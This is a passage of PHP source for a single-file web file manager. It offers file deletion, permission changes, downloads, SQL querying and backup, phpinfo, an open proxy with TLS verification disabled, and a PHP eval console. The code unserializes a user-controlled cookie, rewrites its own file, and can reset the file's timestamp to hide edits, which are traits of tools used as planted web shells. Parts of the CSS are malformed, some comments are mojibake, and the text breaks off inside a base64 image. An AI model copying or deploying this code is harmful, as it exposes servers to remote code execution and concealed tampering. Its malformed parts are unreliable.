	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: gt;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: red;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #CD5C5C 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: ## #800080A ; text-decoration: underline; }
a.th:link { color: ##6495ED; text-decoration: none; }
a.th:active { color: #CD5C5C; text-decoration: none; }
a.th:visited { color: #E9967A; text-decoration: none; }
a.th:hover {  color: ## #800080 ; text-decoration: underline; }

table.bg {
	background-color: #C0C0C0
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	# #CD5C5C ;
	color:				#CD5C5C;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	##CD5C5C;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#FFC0CB;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	# #808000 ;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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